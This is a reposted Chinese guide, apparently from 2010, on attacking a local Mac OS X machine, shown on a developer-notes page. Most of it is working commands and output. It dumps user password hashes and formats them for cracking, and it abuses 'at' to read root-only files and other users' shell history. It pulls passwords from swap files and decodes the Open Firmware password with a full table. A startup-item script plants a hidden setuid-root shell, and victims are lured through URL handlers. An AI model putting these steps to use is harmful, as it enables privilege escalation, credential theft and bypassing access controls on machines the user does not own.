热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

入侵本地MacOSX方针与技巧

Copyright(c)2010CzyInvictaAllrightsreserved.本文从提升权限漏洞的一系列巧妙的方法来绕过受保护的MacOSX

Copyright (c) 2010 Czy Invicta <Hack01&#64;Live!cn>
All rights reserved.

本文从提升权限漏洞的一系列巧妙的方法来绕过受保护的Mac OS X。有些已经被处于底层控制&#xff0c;但由于它们存在着更多的认证和修补程序&#xff0c;我们不妨让这些提供出来&#xff0c;以便需要的人学习它们。虽然我不只是要利用脚本&#xff0c;而且之后我将解释可以做哪些事情&#xff0c;让你利用这些技巧能够充分地进行研究。

- 破解用户密码
- 通过Root读取/usr/bin/at文件
- 敏感交换文件
- 欺骗软件更新
- 恢复开发固件密码
- 恶意启动项目的利用
- URL处理程序漏洞利用
- 尾声


破解用户密码
~~~~~~~~~~~~~~~~

在过去的日子里你只需执行“nidump passwd”&#xff0c;并获得所有用户密码加密的一个DES清单。还有几种方法可以恢复用户密码&#xff0c;Mac OS X在/etc/shadow或/etc/master密码文件中不存储密码。但是&#xff0c;有一种方法可以恢复所有用户的密码哈希。

Mac OS X使用NetInfo处理用户账户。该密码哈希存储在/var/db/shadow/hash/(guid)。每个用户都有自己的哈希文件&#xff0c;要获得一个用户清单及其相应产生的uid(guid)&#xff0c;尝试&#xff1a;
local: user$ nireport / /users name generateduid uid | grep -v NoValue
admin 559DBF44-4231-11D9-A5A8-00039367EBAE 501
orb 5D97A400-5045-11D9-AFEB-00039367EBAE 502
test C82D45B7-6422-11D9-853D-00039367EBAE 503

因此&#xff0c;“admin”用户的密码存储在/var/db/shadow/hash/559DBF44-4231-11D9-A5A8-00039367EBAE.
现在可以作为Root只读这个文件&#xff0c;当然&#xff0c;我们也有一些窍门可以尝试&#xff0c;让你阅读这些文件。但是&#xff0c;首先要说的是你目前已拥有Root权限。
 # cat /var/db/shadow/hash/559DBF44-4231-11D9-A5A8
 
00039367EBAE 209C6174DA490CAEB422F3FA5A7AE634F0D412BD764FFE81AAD3B435B5
1404EED033E22AE348AEB566
0FC2140AEC35850C4DA997

这个巨长的字符串包含两个相同的密码哈希。第一个64个字符组成的SMB散列&#xff08;这是Windows使用的文件共享&#xff0c;即使没有打开&#xff09;这实际上是放在一起的两个32个字符的MD4散列。
最后40个字符组成了SHA1哈希。你一旦恢复这个文件&#xff0c;所有剩下的工作就是正确地格式化这个文件并通过Ripper或Lepton&#39;s Crack进行破解。

SMB 哈希:
admin:209C6174DA490CAEB422F3FA
5A7AE634:F0D412BD764FFE81AAD3B435B51404EE
orb:6FFB224FB592476B2230862E
220937DA:4B881A967FE694FBAAD3B435B51404EE
test:0CB6948805F797BF2A828079
73B89537:01FC5A6BE7BC6929AAD B435B51404EE

SHA1 哈希:
admin:D033E22AE348AEB5660FC214
0AEC35850C4DA997
orb:23119F5947DA61A815E7A1CC
2AF9BDB8C19CAF1F
test:A94A8FE5CCB19BA61C4C0873
D391E987982FBBD3


通过Root读取/usr/bin/at
~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个允许你作为root身份读取/usr/bin/at并分析存在的漏洞。使用这一招&#xff0c;你可以阅读各种敏感文件&#xff0c;包括用户密码哈希、临时交换文件、.bash_history文件等。

这将允许你读取由“admin”用户所执行的命令列表&#xff1a;
local: user$ id
uid&#61;503(test) gid&#61;503(test) groups&#61;503(test)
local: user$ ls -al /users/admin/.bash_history
-rw------- 1 admin staff 1259 12 Apr 2010 /users/admin/. bash_history
local: user$ cat /users/admin/.bash_history cat: /users/admin/.bash_history:
Permission denied
local: user$ at -f /users/admin/.bash_history now&#43;1minute
czy a011afa33.000 will be executed using /bin/sh
local: user$ cat /var/at/jobs/a011afa33.000

只要你有权使用本地机器&#xff0c;你可以阅读所有文件的哈希值&#xff1a;
at -f /var/db/shadow/hash/559DBF44-4231-11D9A5A8-00039367EBAE now&#43;1minute


敏感的交换文件
~~~~~~~~~~~~~~~~
还有另一种方法就是&#xff0c;使用临时交换文件恢复密码。包括FileVault、Keychain、login和其它存储在/var/vm/各种敏感数据交换文件&#xff0c;这些文件很大&#xff0c;它需要一些聪明的Unix命令才能够提取其中有用的东西。然而&#xff0c;很多时候用户名和密码以纯文本方式存储。

尝试一下你自己的机器&#xff08;核实swapfile1、swap-file2等&#xff09;。

# strings -8 /var/vm/swapfile0 | grep -A 4 -i longname

每次机器重启之后&#xff0c;这些交换文件将被清除。

当然&#xff0c;这些文件只能由root读取。你可以使用“at”漏洞&#xff0c;将这些交换文件复制到临时位置&#xff0c;然后使用上面的命令来解析这些文件。


欺骗软件更新
~~~~~~~~~~~~~~~~
Mac OS X有一个方便的工具&#xff0c;可以对安全更新软件和软件补丁进行自动检查更新。如果你有机会获得一台机器&#xff0c;你可以利用这种方式进行欺骗&#xff0c;以为你已经安装了特定的软件更新和补丁。

检查/Library/Receipts/目录&#xff0c;创建一个与其中一个更新包和软件更新相同名字的文件&#xff0c;以替代它。


恢复开放固件密码
~~~~~~~~~~~~~~~~~~~
许多公共计算机&#xff0c;特别是商业网&#xff08;网吧&#xff09;&#xff0c;使用特殊的安全软件或跟踪装置以阻止你的一些活动&#xff0c;甚至要求你按小时支付。通常&#xff0c;你可以重启计算机进入开放固件并使用系统的单用户模式&#xff0c;要么仅仅启动到一个外部设备&#xff0c;例如&#xff0c;将Mac OS X复制并安装在你的Mp3或Mp4设备里面。不幸的是&#xff0c;越来越多的计算机都有了开放固件密码的保护措施&#xff0c;这需要你首先验证所做的这些事情。

如果你拥有root权限访问终端&#xff0c;请尝试输入nvram安全密码。这应该显示出一个字符串&#xff0c;即开放固件密码的异十六进制编码。这不是加密的&#xff0c;它只是模糊处理。

nvram security-password
security-password: %d9%df%da%cf%d8%d9%cf%c1%d8%cf%de
本文转载自&#xff1a; http://www.smxiaoqiang.cn

密歇根大学MacSIG小组编写一个C脚本&#xff0c;能够生成字符串作为使用开放固件的密码&#xff1a;
http://macosx.si.umich.edu/files/ofpwgen.c

使用这个你应该能够通过字符串匹配的nvram security-password从而找到密码。你也可以使用下面内容作为参考&#xff1a;

nvram security-password
 b  c  d  e  f  g  h  i  j  k  l  m
%cb%c8%c9%ce%cf%cc%cd%c2%c3%c0%c1%c6%c7

 o  p  q  r  s  t  u  v  w  x  y  z
%c4%c5%da%db%d8%d9%de%df%dc%dd%d2%d3%d0

 B  C  D  E  F  G  H  I  J  K  L  M
%eb%e8%e9%ee%ef%ec%ed%e2%e3%e0%e1%e6%e7

 O  P  Q  R  S  T  U  V  W  X  Y  Z 
%e4%e5%fa%fb%f8%f9%fe%ff%fc%fd%f2%f3%f0

 2  3  4  5  6  7  8  9  0  !  &#64;  #
%9b%98%99%9e%9f%9c%9d%92%93%9a%8b%ea%89

 %  ^  &  *  (  )  &#43;  &#61;  -  _  }  { 
%8e%8f%f4%8c%80%82%83%81%97%87%f5%d7%d1

当你用这个密码&#xff0c;你就可以启动到单用户模式或重启到你自己的MP3/MP4上存储的操作系统。


恶意启动项目的利用
~~~~~~~~~~~~~~~~~~~~~
如果/Library/StartupItems目录没有被创建&#xff0c;对于某些软件则需要创建它&#xff0c;以便机器重启时能够运行程序。这些脚本由root运行。往往写得不好的软件在安装时将创建到此目录中&#xff0c;并允许任何用户使用该目录中的文件。人们可以编写一个恶意脚本&#xff0c;删除该目录&#xff0c;重启计算机&#xff0c;并能够以root身份执行脚本。

ls -al /Library/StartupItems/
total 0
drwxrwxrwx 3  root admin 102  25 Apr 12:15 .
drwxrwxr-x 39 root admin 1326 26 Apr 09:28 ..

如你所见&#xff0c;该目录的模式是chmod 777 ——这意味着我们可以对它写入文件。在此目录中&#xff0c;写一个相同名称的shell脚本作为目录所包含的文本&#xff1a;

#!/bin/sh
cp /bin/sh /etc/.rewt
chown root /etc/.rewt
chmod 4755 /etc/.rewt

然后&#xff0c;访问的StartupParameters.plist所包含的文本如下&#xff1a;
{
 Description &#61; "NameOfScript";
 Provides &#61; ("NameOfScript");
 OrderPreference &#61; "None";
}

下次重启机器&#xff0c;它会执行你写好的shell脚本。这个特殊的脚本将在/etc/.rewt里面建立一个suid root。


URL处理程序漏洞利用
~~~~~~~~~~~~~~~~~~~~~~
有一些Mac OS X安全问题与URL处理有关。
通过这些技巧&#xff0c;你能够在受害者机器中执行代码&#xff0c;加载任何Web链接。
其基本思路是引诱用户下载并安装一个DMG文件&#xff0c;然后尝试运行DMG文件中存储的代码。

你可以编写一个HTML文件&#xff0c;通过Javascript或一个meta刷新标记自动重定向到一个特定的URL。

DMG文件内容可以包含一个特制的应用程序调用Fun.app&#xff0c;它可以自动打开一个新的URL处理程序。

其它有趣的还有&#xff1a;x-man-page://、telnet://、ssh://、ical://、addressbook://、itms://、mms://等等。


尾声
~~~~~~~
本文上述的利用方案并不是所有&#xff0c;包括过去数年的漏洞攻击并没有提及到。如果你需要针对的是远程系统执行入侵任务&#xff0c;那么&#xff0c;你需要更多的思路进行研究&#xff0c;它也存在着更多的灵活性和窍门可以提供我们应用&#xff0c;我们需要积极地发掘它们。对于它仍有其它疑问&#xff0c;请写信件发送至我的Email&#xff08;Hack01[at]Live.cn&#xff09;。

 

# HACKER NETSPY [CZY]

















本文转hackfreer51CTO博客&#xff0c;原文链接&#xff1a;http://blog.51cto.com/pnig0s1992/437720&#xff0c;如需转载请自行联系原作者



推荐阅读
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了作者在开发过程中遇到的问题,即播放框架内容安全策略设置不起作用的错误。作者通过使用编译时依赖注入的方式解决了这个问题,并分享了解决方案。文章详细描述了问题的出现情况、错误输出内容以及解决方案的具体步骤。如果你也遇到了类似的问题,本文可能对你有一定的参考价值。 ... [详细]
  • RouterOS 5.16软路由安装图解教程
    本文介绍了如何安装RouterOS 5.16软路由系统,包括系统要求、安装步骤和登录方式。同时提供了详细的图解教程,方便读者进行操作。 ... [详细]
  • 本文介绍了一个适用于PHP应用快速接入TRX和TRC20数字资产的开发包,该开发包支持使用自有Tron区块链节点的应用场景,也支持基于Tron官方公共API服务的轻量级部署场景。提供的功能包括生成地址、验证地址、查询余额、交易转账、查询最新区块和查询交易信息等。详细信息可参考tron-php的Github地址:https://github.com/Fenguoz/tron-php。 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • 安装oracle软件1创建用户组、用户和目录bjdb节点下:[rootnode1]#groupadd-g200oinstall[rootnode1]#groupad ... [详细]
  • Nginx使用(server参数配置)
    本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • Jboss的EJB部署描述符standardjaws.xml配置步骤详解
    本文详细介绍了Jboss的EJB部署描述符standardjaws.xml的配置步骤,包括映射CMP实体EJB、数据源连接池的获取以及数据库配置等内容。 ... [详细]
author-avatar
残伤贱爱
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有